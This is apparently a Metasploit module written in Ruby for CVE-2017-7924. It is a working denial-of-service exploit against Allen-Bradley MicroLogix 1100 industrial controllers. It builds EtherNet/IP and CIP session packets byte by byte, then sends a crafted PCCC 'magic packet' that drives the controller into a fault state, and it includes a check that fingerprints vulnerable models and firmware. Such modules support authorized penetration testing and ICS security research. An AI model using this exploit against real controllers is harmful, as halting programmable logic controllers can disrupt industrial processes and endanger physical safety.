modules/auxiliary/dos/scada/allen_bradley_pccc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(
'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",
'Description' => %q{
A remote, unauthenticated attacker could send a single, specially crafted
Programmable Controller Communication Commands (PCCC) packet to the controller
that could potentially cause the controller to enter a DoS condition.
MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and
1763-L16DWD.
CVE-2017-7924 has been assigned to this vulnerability.
A CVSS v3 base score of 7.5 has been assigned.
},
'Author' => [
'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',
'Luis Rosa <lmrosa[at]dei.uc.pt>',
'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7924' ],
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],
[ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780']
])
register_options([Opt::RPORT(44818),])
end
VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']
VULN_FW_VERSION_MIN = 14.00
VULN_FW_VERSION_MAX = 16.00
def le_pp(s)
"0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"
end
def enip_register_session_pkt
# ENIP encapsulation Header
"\x65\x00" + # Command register session (0x0065)
"\x04\x00" + # Length (4)
"\x00\x00\x00\x00" + # Session handle (0x00000000)
"\x00\x00\x00\x00" + # Status success (0x00000000)
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
"\x00\x00\x00\x00" + # Options (0x00000000)
# Protocol Specific Data
"\x01\x00" + # Protocol version (1)
"\x00\x00" # Option flags (0x00000000)
end
def enip_ccm_forward_open_pkt(enip_session_handle)
# ENIP encapsulation header
"\x6f\x00" + # Send RR data (0x006f)
"\x3e\x00" + # Length (63)
enip_session_handle + # Session handle (retrieved from register session)
"\x00\x00\x00\x00" + # Status success (0x00000000)
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
"\x00\x00\x00\x00" + # Options (0x00000000)
# Command specific data
"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)
"\x00\x00" + # Timeout (0)
"\x02\x00" + # Item count (2)
"\x00\x00" + # Item 1 type id (Null address item)
"\x00\x00" + # Item 1 length (0)
"\xb2\x00" + # Item 2 type id (Unconnected data item)
"\x2e\x00" + # Item 2 length (46)
# CIP Connection manager specific data
"\x54\x02\x20\x06\x24\x01\x0a\xf0" +
"\x00\x00\x00\x00\x52\xac\xda\x89" +
"\x55\x0c\x35\x01\xe1\x08\xb0\x60" +
"\x07\x00\x00\x00\x00\x40\x00\x00" +
"\x12\x43\x00\x40\x00\x00\x12\x43" +
"\xa3\x02\x20\x02\x24\x01"
end
# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)
def pccc_dos_pkt(enip_session_id, cip_connection_id)
# ENIP encapsulation header
"\x70\x00" + # Send unit data (0x0070)
"\x2d\x00" + # Length
enip_session_id + # ENIP session handle (obtained from enip register session)
"\x00\x00\x00\x00" + # Status Success
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context
"\x00\x00\x00\x00" + # Options
# Command Specific data
"\x00\x00\x00\x00" + # Interface handle (CIP)
"\x00\x00" + # Timeout (0)
"\x02\x00" + # Item count
"\xa1\x00" + # Item 1 - Type ID (Connected address item)
"\x04\x00" + # Item 1 - Length (4)
cip_connection_id + # CIP connection ID (obtained from CIP CM packet)
"\xb1\x00" + # Item 2 - Type ID (Connected data item)
"\x19\x00" + # Item 2 - Length (25)
"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet
# PCCC Command data
"\x4b" + # Execute PCCC (0x4b)
"\x02\x20\x67\x24\x01" + # no idea what this is
"\x07" + # Requestor ID length
"\x35\x01" + # CIP vendor ID
"\xe1\x08\xb0\x60" + # CIP serial number
"\x0f" + # Command code
"\x00" + # Status (success 0x00)
"\x2a\x58" + # Transaction code
"\xa2" + # Function code (Protected typed logical read with three address fields)
"\x00" + # Byte size
"\x05" + # File number
"\x47" + # File type
"\x00" + # Element number
"\x00" # Sub-element number
end
def enip_list_identify_pkt
"\x63\x00" + # List Identity
"\x00\x00" + # Length
"\x00\x00\x00\x00" + # Session Handle
"\x00\x00\x00\x00" + # Status: Success
"\x00\x00" + # Max Response Delay
"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context
"\x00\x00\x00\x00" # Options
end
def check
connect_udp
udp_sock.put(enip_list_identify_pkt)
res = udp_sock.recvfrom(90)
disconnect_udp
unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
print_error "EtherNet/IP Packet Not Valid"
return Exploit::CheckCode::Unsupported
end
revision = res[0][54,2]
product_name_len = res[0][62].unpack("c*")[0]
product_name = res[0][63,product_name_len]
print_status "Product Name: #{product_name}"
array = product_name.split(' ')
plc_model = array[0]
return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }
firmware = array[1]
begin
firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f
if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX
return Exploit::CheckCode::Vulnerable
elsif firmware_nbr < VULN_FW_VERSION_MIN
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
rescue
return Exploit::CheckCode::Unknown
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog(e)
ensure
disconnect
end
def run
connect
# Register Ethernet/IP session
sock.put(enip_register_session_pkt)
enip_register_session_ans = sock.get_once
unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
print_error "Ethernet/IP - Failed to create session."
disconnect
return
end
enip_session_id = enip_register_session_ans[4, 4]
print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"
# Ethernet/IP CCM Forward Open
sock.put(enip_ccm_forward_open_pkt(enip_session_id))
enip_ccm_forward_open_ans = sock.get_once
unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
print_error "CIP Connection Manager - Failed Forward Open request"
disconnect
return
end
cip_connection_id = enip_ccm_forward_open_ans[44, 4]
print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"
# PCCC DoS packet
print_status "Sending PCCC DoS magic packet..."
sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog(e)
ensure
disconnect
end
end